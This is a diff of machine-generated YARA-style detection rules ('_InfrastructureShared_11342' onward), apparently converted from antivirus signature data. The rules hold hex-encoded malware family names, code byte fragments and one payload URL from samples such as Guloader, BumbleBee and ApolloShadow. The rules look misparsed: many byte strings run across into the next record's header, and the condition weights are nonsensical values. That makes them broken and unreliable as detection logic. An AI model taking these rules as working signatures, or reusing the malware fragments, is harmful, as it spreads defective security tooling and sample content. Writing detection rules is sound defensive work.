"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -116226,18 +123834,30 @@ rule _InfrastructureShared_10656{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_10657{ +rule _InfrastructureShared_11342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 6f 6f 62 69 6e 67 2e 41 21 64 68 61 00 01 00 20 01 63 00 61 00 70 00 74 00 75 00 72 00 65 00 53 00 63 00 72 00 65 00 65 00 6e 00 51 00 43 00 3a 00 01 00 20 01 63 00 61 00 70 00 74 00 75 } //16675 - $a_00_2 = {74 00 69 00 76 00 65 00 51 00 43 00 3a 00 01 00 26 01 6d 00 61 00 78 00 55 00 70 00 46 00 69 00 6c 00 65 00 53 00 69 00 7a 00 65 00 4b 00 42 00 79 00 74 00 65 00 3a 00 00 00 78 9b 00 00 02 00 02 00 03 00 21 23 54 45 4c 3a 57 69 6e 33 32 2f 43 75 62 65 72 61 74 2e 41 00 01 00 3a 00 26 00 26 00 20 } //65 + $a_00_2 = {74 00 69 00 76 00 65 00 51 00 43 00 3a 00 01 00 26 01 6d 00 61 00 78 00 55 00 70 00 46 00 69 00 6c 00 65 00 53 00 69 00 7a 00 65 00 4b 00 42 00 79 00 74 00 65 00 3a 00 00 00 78 9b 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 70 6f 6c 6c 6f 53 68 61 64 6f 77 } //65 condition: ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*65) >=2 } -rule _InfrastructureShared_10658{ +rule _InfrastructureShared_11343{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 70 6f 6c 6c 6f 53 68 61 64 6f 77 2e 42 21 64 68 61 00 01 00 27 01 77 64 52 47 6c 6e 61 55 4e 6c 63 6e 51 67 54 33 4a 6e 59 57 35 70 65 6d 46 30 61 57 39 75 49 46 4a 76 62 33 51 67 51 01 } //16675 + $a_54_1 = {47 } //6656 G + $a_55_2 = {6c 63 6e 51 67 52 32 78 76 59 6d 46 73 49 45 6c 75 59 01 00 20 01 41 77 77 59 56 47 68 68 64 33 52 6c 49 46 4a 54 51 53 42 57 59 57 78 70 5a 47 46 30 61 57 39 75 00 00 78 9b 00 00 02 00 02 00 03 00 21 23 54 45 4c 3a 57 69 6e 33 32 2f 43 75 62 65 72 61 74 2e 41 00 01 00 3a 00 26 00 26 00 20 } //28268 + condition: + ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*6656+(#a_55_2 & 1)*28268) >=2 + +} +rule _InfrastructureShared_11344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -116248,7 +123868,7 @@ rule _InfrastructureShared_10658{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*116) >=2 } -rule _InfrastructureShared_10659{ +rule _InfrastructureShared_11345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -116260,7 +123880,7 @@ rule _InfrastructureShared_10659{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*22597+(#a_56_2 & 1)*21076) >=2 } -rule _InfrastructureShared_10660{ +rule _InfrastructureShared_11346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -116273,7 +123893,7 @@ rule _InfrastructureShared_10660{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*16690+(#a_14_2 & 1)*-5376+(#a_50_3 & 1)*11891) >=2 } -rule _InfrastructureShared_10661{ +rule _InfrastructureShared_11347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -116284,7 +123904,7 @@ rule _InfrastructureShared_10661{ ((#a_77_0 & 1)*16675+(#a_3e_1 & 1)*656) >=3 } -rule _InfrastructureShared_10662{ +rule _InfrastructureShared_11348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -116295,7 +123915,18 @@ rule _InfrastructureShared_10662{ ((#a_4c_0 & 1)*21539+(#a_2e_1 & 1)*2579) >=3 } -rule _InfrastructureShared_10663{ +rule _InfrastructureShared_11349{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 75 6d 62 6c 65 42 65 65 2e 43 41 21 4d 54 42 00 03 00 36 03 ba 04 01 00 00 48 8d 4c 24 20 ff 15 90 01 04 33 db 48 8d 3d 90 01 04 48 8b 17 48 8d 4c 24 20 ff 15 90 01 } //21539 + $a_74_1 = {ff c3 48 83 c7 90 01 01 83 fb 1b 72 90 00 03 00 31 03 2b c1 66 89 84 24 e8 75 00 00 e8 90 01 04 85 c0 74 90 01 01 48 c7 84 24 40 28 00 00 00 00 00 00 48 8b 84 24 40 28 00 00 c6 00 ff 33 c9 ff 15 90 00 00 00 78 9b 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 49 6e 6a 65 63 74 6f 72 2e 4d 52 45 21 62 69 74 00 01 00 20 03 8b 0c 82 7c 10 8b 57 90 01 01 c1 ea 90 01 01 3b c2 7d 06 8b 57 90 01 01 89 0c 82 40 3b c3 90 00 01 00 2d 03 23 d1 8a 06 88 07 8a 46 90 01 01 88 47 90 01 01 8a 46 90 01 01 c1 e9 90 01 01 88 47 90 01 01 83 c6 90 01 } //-31484 + condition: + ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*-31484) >=3 + +} +rule _InfrastructureShared_11350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -116307,7 +123938,7 @@ rule _InfrastructureShared_10663{ ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*1928+(#a_08_2 & 1)*-29998) >=3 } -rule _InfrastructureShared_10664{ +rule _InfrastructureShared_11351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -116318,7 +123949,7 @@ rule _InfrastructureShared_10664{ ((#a_46_0 & 1)*16675+(#a_88_1 & 1)*-20116) >=3 } -rule _InfrastructureShared_10665{ +rule _InfrastructureShared_11352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -116330,7 +123961,7 @@ rule _InfrastructureShared_10665{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*8448+(#a_00_2 & 1)*24369) >=3 } -rule _InfrastructureShared_10666{ +rule _InfrastructureShared_11353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -116342,7 +123973,7 @@ rule _InfrastructureShared_10666{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*18978+(#a_77_2 & 1)*385) >=3 } -rule _InfrastructureShared_10667{ +rule _InfrastructureShared_11354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -116354,7 +123985,7 @@ rule _InfrastructureShared_10667{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29541+(#a_65_2 & 1)*385) >=3 } -rule _InfrastructureShared_10668{ +rule _InfrastructureShared_11355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -116366,7 +123997,7 @@ rule _InfrastructureShared_10668{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28531+(#a_6d_2 & 1)*29788) >=3 } -rule _InfrastructureShared_10669{ +rule _InfrastructureShared_11356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -116379,7 +124010,7 @@ rule _InfrastructureShared_10669{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*30556+(#a_72_2 & 1)*19807+(#a_ad_3 & 1)*29766) >=3 } -rule _InfrastructureShared_10670{ +rule _InfrastructureShared_11357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -116392,7 +124023,7 @@ rule _InfrastructureShared_10670{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11568+(#a_00_2 & 1)*-31384+(#a_55_3 & 1)*28737) >=3 } -rule _InfrastructureShared_10671{ +rule _InfrastructureShared_11358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -116404,7 +124035,7 @@ rule _InfrastructureShared_10671{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*83+(#a_75_3 & 1)*28271) >=3 } -rule _InfrastructureShared_10672{ +rule _InfrastructureShared_11359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -116417,7 +124048,7 @@ rule _InfrastructureShared_10672{ ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*30066+(#a_20_2 & 1)*24948+(#a_7a_3 & 1)*384) >=3 } -rule _InfrastructureShared_10673{ +rule _InfrastructureShared_11360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -116431,7 +124062,7 @@ rule _InfrastructureShared_10673{ ((#a_6c_0 & 1)*16675+(#a_69_1 & 1)*25933+(#a_4d_2 & 1)*20050+(#a_56_3 & 1)*18809+(#a_8a_4 & 1)*2816) >=3 } -rule _InfrastructureShared_10674{ +rule _InfrastructureShared_11361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -116443,7 +124074,7 @@ rule _InfrastructureShared_10674{ ((#a_46_0 & 1)*16675+(#a_56_1 & 1)*20737+(#a_52_3 & 1)*21320) >=4 } -rule _InfrastructureShared_10675{ +rule _InfrastructureShared_11362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -116456,7 +124087,7 @@ rule _InfrastructureShared_10675{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*24037+(#a_74_2 & 1)*22373+(#a_2e_3 & 1)*12597) >=4 } -rule _InfrastructureShared_10676{ +rule _InfrastructureShared_11363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -116468,7 +124099,7 @@ rule _InfrastructureShared_10676{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*101+(#a_58_3 & 1)*267) >=4 } -rule _InfrastructureShared_10677{ +rule _InfrastructureShared_11364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -116481,7 +124112,7 @@ rule _InfrastructureShared_10677{ ((#a_54_0 & 1)*18467+(#a_25_1 & 1)*14080+(#a_6b_2 & 1)*24944+(#a_62_3 & 1)*29295) >=4 } -rule _InfrastructureShared_10678{ +rule _InfrastructureShared_11365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -116494,7 +124125,7 @@ rule _InfrastructureShared_10678{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_9b_3 & 1)*0) >=4 } -rule _InfrastructureShared_10679{ +rule _InfrastructureShared_11366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -116507,7 +124138,7 @@ rule _InfrastructureShared_10679{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*27936+(#a_69_2 & 1)*28520+(#a_69_3 & 1)*14930) >=4 } -rule _InfrastructureShared_10680{ +rule _InfrastructureShared_11367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -116520,7 +124151,7 @@ rule _InfrastructureShared_10680{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*26476+(#a_01_2 & 1)*29285+(#a_47_3 & 1)*12851) >=4 } -rule _InfrastructureShared_10681{ +rule _InfrastructureShared_11368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -116533,7 +124164,7 @@ rule _InfrastructureShared_10681{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*26990+(#a_6e_2 & 1)*29799+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_10682{ +rule _InfrastructureShared_11369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -116546,7 +124177,7 @@ rule _InfrastructureShared_10682{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*27492+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 } -rule _InfrastructureShared_10683{ +rule _InfrastructureShared_11370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -116559,7 +124190,7 @@ rule _InfrastructureShared_10683{ ((#a_77_0 & 1)*19491+(#a_26_1 & 1)*28788+(#a_52_2 & 1)*3840+(#a_20_3 & 1)*29295) >=4 } -rule _InfrastructureShared_10684{ +rule _InfrastructureShared_11371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -116572,7 +124203,7 @@ rule _InfrastructureShared_10684{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_9b_3 & 1)*0) >=4 } -rule _InfrastructureShared_10685{ +rule _InfrastructureShared_11372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -116583,7 +124214,18 @@ rule _InfrastructureShared_10685{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*2579) >=5 } -rule _InfrastructureShared_10686{ +rule _InfrastructureShared_11373{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 72 6f 6d 65 74 65 69 2e 41 48 42 21 4d 54 42 00 03 00 20 03 8a 4d fc 02 c8 30 0f 3b c3 74 90 01 01 8b 4d f8 48 01 4d fc 47 8d 8f eb ea ea ea 3b ce 7c 90 00 02 00 47 } //21539 + $a_1a_1 = {43 00 67 c6 05 } //-14847 + condition: + ((#a_4c_0 & 1)*21539+(#a_1a_1 & 1)*-14847) >=5 + +} +rule _InfrastructureShared_11374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -116594,7 +124236,7 @@ rule _InfrastructureShared_10686{ ((#a_54_0 & 1)*18467+(#a_03_1 & 1)*-28671) >=5 } -rule _InfrastructureShared_10687{ +rule _InfrastructureShared_11375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -116607,7 +124249,7 @@ rule _InfrastructureShared_10687{ ((#a_77_0 & 1)*19491+(#a_01_1 & 1)*28001+(#a_72_2 & 1)*27759+(#a_2e_3 & 1)*29557) >=5 } -rule _InfrastructureShared_10688{ +rule _InfrastructureShared_11376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -116621,7 +124263,7 @@ rule _InfrastructureShared_10688{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*28769+(#a_61_2 & 1)*25971+(#a_63_3 & 1)*28518+(#a_4d_4 & 1)*20225) >=5 } -rule _InfrastructureShared_10689{ +rule _InfrastructureShared_11377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -116633,7 +124275,7 @@ rule _InfrastructureShared_10689{ ((#a_54_0 & 1)*18467+(#a_35_1 & 1)*17476+(#a_00_4 & 1)*5) >=5 } -rule _InfrastructureShared_10690{ +rule _InfrastructureShared_11378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -116642,25 +124284,39 @@ rule _InfrastructureShared_10690{ $a_42_1 = {47 59 54 46 43 58 44 52 45 53 5a 41 57 51 00 01 00 14 81 01 75 68 62 75 6a 69 75 6a 68 6e 69 6e 68 6a 69 6b 69 75 68 00 01 00 08 81 01 47 65 74 50 69 78 65 6c 00 00 78 9b 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a } //21833 $a_6a_2 = {6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 52 50 31 38 31 30 21 4d 54 42 00 01 00 2c 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 71 00 75 00 2e 00 61 00 78 00 2f 00 47 00 51 00 69 00 53 00 2e 00 6d 00 70 00 34 00 01 00 14 00 53 00 6f 00 68 00 64 00 79 00 6e 00 62 00 65 00 6b 00 6c 00 01 00 0a 01 48 74 74 70 43 6c 69 65 6e 74 01 } //29268 $a_47_3 = {74 } //2048 t - $a_6e_4 = {01 00 09 01 47 65 74 4d 65 74 68 6f 64 00 00 78 9b 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 45 57 42 31 32 33 21 4d 54 42 00 01 00 0d 81 01 62 72 75 6e 73 74 74 69 64 65 72 6e 65 01 00 0a 81 01 74 69 67 65 72 73 6b 69 6e 64 01 00 24 81 01 64 72 69 66 74 73 73 69 74 75 61 74 69 6f 6e 65 72 20 61 72 65 6f 70 65 } //29505 + $a_6e_4 = {01 00 09 01 47 65 74 4d 65 74 68 6f 64 00 00 78 9b 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 4b 30 31 21 4d 54 42 00 01 00 0f 81 01 62 72 6e 64 62 6f 72 65 72 6d 65 73 74 65 72 01 00 1f 81 01 70 6c 61 74 79 70 75 73 20 65 6f 73 69 6e 65 73 20 73 6b 72 61 6c 64 65 72 67 72 69 6e 65 72 01 00 0d 81 01 61 70 70 } //29505 condition: ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*21833+(#a_6a_2 & 1)*29268+(#a_47_3 & 1)*2048+(#a_6e_4 & 1)*29505) >=5 } -rule _InfrastructureShared_10691{ +rule _InfrastructureShared_11379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 52 50 31 38 31 30 21 4d 54 42 00 01 00 2c 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 71 00 75 00 2e 00 61 00 78 00 2f 00 47 00 51 00 69 00 53 00 2e 00 6d 00 70 00 34 00 01 00 14 00 53 } //18467 - $a_00_2 = {6e 00 62 00 65 00 6b 00 6c 00 01 00 0a 01 48 74 74 70 43 6c 69 65 6e 74 01 00 08 01 47 65 74 41 73 79 6e 63 01 00 09 01 47 65 74 4d 65 74 68 6f 64 00 00 78 9b 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 45 57 42 31 32 33 21 4d 54 42 00 01 00 0d 81 01 62 72 75 6e 73 74 74 69 64 65 72 6e 65 01 00 0a 81 01 74 69 67 } //100 - $a_6b_3 = {6e 64 01 00 24 81 01 64 72 69 66 74 73 73 69 74 75 61 74 69 6f 6e 65 72 20 61 72 65 6f 70 65 6e 6f 70 20 64 65 63 6b 6c 6f 61 64 01 00 0c 81 01 64 72 69 6c 6c 65 6c 79 73 74 6e 65 01 00 11 81 01 6c 6f 6b 61 6c 70 6c 61 6e 70 6c 69 67 74 65 6e 73 00 00 78 9b 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 } //29285 - $a_57_4 = {31 32 33 21 4d 54 42 00 01 00 1b 81 01 63 6f 6c 6c 65 74 61 72 69 75 6d 20 72 65 6d 69 20 73 6f 6c 69 76 61 67 6f 75 73 01 00 11 81 01 6e 61 63 68 75 73 20 61 73 70 61 72 61 67 69 6e 65 01 00 05 81 01 6d 75 } //19246 + $a_00_2 = {6e 00 62 00 65 00 6b 00 6c 00 01 00 0a 01 48 74 74 70 43 6c 69 65 6e 74 01 00 08 01 47 65 74 41 73 79 6e 63 01 00 09 01 47 65 74 4d 65 74 68 6f 64 00 00 78 9b 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 4b 30 31 21 4d 54 42 00 01 00 0f 81 01 62 72 6e 64 62 6f 72 65 72 6d 65 73 74 65 72 01 00 1f 81 01 70 6c 61 } //100 + $a_75_3 = {20 65 6f 73 69 6e 65 73 20 73 6b 72 61 6c 64 65 72 67 72 69 6e 65 72 01 00 0d 81 01 61 70 70 65 74 69 73 65 6d 65 6e 74 73 01 00 07 81 01 63 75 70 72 6f 75 73 01 00 18 81 01 70 72 65 6c 61 63 79 20 73 74 72 69 64 73 68 61 6e 64 73 6b 65 72 6e 65 00 00 78 9b 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 } //31092 + $a_2e_4 = {45 57 42 31 32 33 21 4d 54 42 00 01 00 0d 81 01 62 72 75 6e 73 74 74 69 64 65 72 6e 65 01 00 0a 81 01 74 69 67 65 72 73 6b 69 6e 64 01 00 24 81 01 64 72 69 66 74 73 73 69 74 75 61 74 69 6f 6e 65 72 20 61 72 65 6f 70 65 6e 6f 70 20 64 65 63 6b 6c 6f 61 64 01 00 0c 81 01 64 72 69 6c 6c 65 6c 79 73 74 6e 65 01 00 11 81 01 6c 6f 6b 61 6c 70 6c } //25956 condition: - ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*100+(#a_6b_3 & 1)*29285+(#a_57_4 & 1)*19246) >=5 + ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*100+(#a_75_3 & 1)*31092+(#a_2e_4 & 1)*25956) >=5 } -rule _InfrastructureShared_10692{ +rule _InfrastructureShared_11380{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 4b 30 31 21 4d 54 42 00 01 00 0f 81 01 62 72 6e 64 62 6f 72 65 72 6d 65 73 74 65 72 01 00 1f 81 01 70 6c 61 74 79 70 75 73 20 65 6f 73 69 6e 65 73 20 73 6b 72 61 6c 64 65 72 67 72 69 6e 65 72 01 } //18467 + $a_01_1 = {61 70 70 65 74 69 73 65 6d 65 6e 74 73 01 00 07 81 01 63 75 70 72 6f 75 73 01 00 18 81 01 70 72 65 6c 61 63 79 20 73 74 72 69 64 73 68 61 6e 64 73 6b 65 72 6e 65 00 00 78 9b 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 45 57 42 31 32 33 21 4d 54 42 00 01 00 0d 81 01 62 72 75 6e 73 74 74 69 64 65 72 6e 65 01 00 0a 81 01 74 69 67 65 72 73 } //3328 + $a_64_2 = {00 24 81 01 64 72 69 66 74 73 73 69 74 75 61 74 69 6f 6e 65 72 20 61 72 65 6f 70 65 6e 6f 70 20 64 65 63 6b 6c 6f 61 64 01 00 0c 81 01 64 72 69 6c 6c 65 6c 79 73 74 6e 65 01 00 11 81 01 6c 6f 6b 61 6c 70 6c 61 6e 70 6c 69 67 74 65 6e 73 00 00 78 9b 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 } //26987 + $a_4b_3 = {57 56 31 32 33 21 4d 54 42 00 01 00 1b 81 01 63 6f 6c 6c 65 74 61 72 69 75 6d 20 72 65 6d 69 20 73 6f 6c 69 76 61 67 6f 75 73 01 00 11 81 } //29285 + $a_63_4 = {75 73 20 61 73 70 61 72 61 67 69 6e 65 01 00 05 81 01 6d 75 74 65 73 01 00 06 81 01 64 7a 65 72 65 6e 01 00 21 81 01 75 6e 73 68 61 72 70 65 6e 65 64 20 70 6c 61 79 73 74 6f 77 20 75 64 6c 61 6e 64 73 6c 61 61 6e 73 00 00 78 9b 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f } //28161 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*3328+(#a_64_2 & 1)*26987+(#a_4b_3 & 1)*29285+(#a_63_4 & 1)*28161) >=5 + +} +rule _InfrastructureShared_11381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -116674,7 +124330,7 @@ rule _InfrastructureShared_10692{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24864+(#a_65_2 & 1)*8301+(#a_2f_3 & 1)*13166+(#a_81_4 & 1)*1) >=5 } -rule _InfrastructureShared_10693{ +rule _InfrastructureShared_11382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -116686,7 +124342,7 @@ rule _InfrastructureShared_10693{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1280+(#a_62_3 & 1)*27393) >=5 } -rule _InfrastructureShared_10694{ +rule _InfrastructureShared_11383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -116700,7 +124356,7 @@ rule _InfrastructureShared_10694{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*25972+(#a_67_2 & 1)*26990+(#a_9c_3 & 1)*26625+(#a_01_4 & 1)*24064) >=5 } -rule _InfrastructureShared_10695{ +rule _InfrastructureShared_11384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0a 00 21 " @@ -116719,7 +124375,7 @@ rule _InfrastructureShared_10695{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*1280+(#a_00_2 & 1)*-14849+(#a_d0_3 & 1)*26625+(#a_02_4 & 1)*-28482+(#a_01_5 & 1)*-18176+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_9b_9 & 1)*0) >=5 } -rule _InfrastructureShared_10696{ +rule _InfrastructureShared_11385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " @@ -116731,7 +124387,7 @@ rule _InfrastructureShared_10696{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*400+(#a_90_2 & 1)*14811) >=6 } -rule _InfrastructureShared_10697{ +rule _InfrastructureShared_11386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -116744,7 +124400,7 @@ rule _InfrastructureShared_10697{ ((#a_54_0 & 1)*18467+(#a_37_1 & 1)*24406+(#a_00_4 & 1)*6+(#a_54_5 & 1)*21076) >=6 } -rule _InfrastructureShared_10698{ +rule _InfrastructureShared_11387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -116757,7 +124413,7 @@ rule _InfrastructureShared_10698{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*5632+(#a_6a_3 & 1)*3584+(#a_ff_5 & 1)*28927) >=6 } -rule _InfrastructureShared_10699{ +rule _InfrastructureShared_11388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 21 " @@ -116770,7 +124426,7 @@ rule _InfrastructureShared_10699{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*16567+(#a_ff_2 & 1)*513+(#a_6b_3 & 1)*30830) >=7 } -rule _InfrastructureShared_10700{ +rule _InfrastructureShared_11389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -116785,7 +124441,7 @@ rule _InfrastructureShared_10700{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*271+(#a_70_2 & 1)*26994+(#a_64_3 & 1)*25928+(#a_2e_4 & 1)*26478+(#a_00_5 & 1)*14339) >=7 } -rule _InfrastructureShared_10701{ +rule _InfrastructureShared_11390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -116801,7 +124457,7 @@ rule _InfrastructureShared_10701{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*108+(#a_58_2 & 1)*1+(#a_70_3 & 1)*28520+(#a_6e_4 & 1)*25972+(#a_01_5 & 1)*14433+(#a_35_6 & 1)*17665) >=7 } -rule _InfrastructureShared_10702{ +rule _InfrastructureShared_11391{ meta: description = 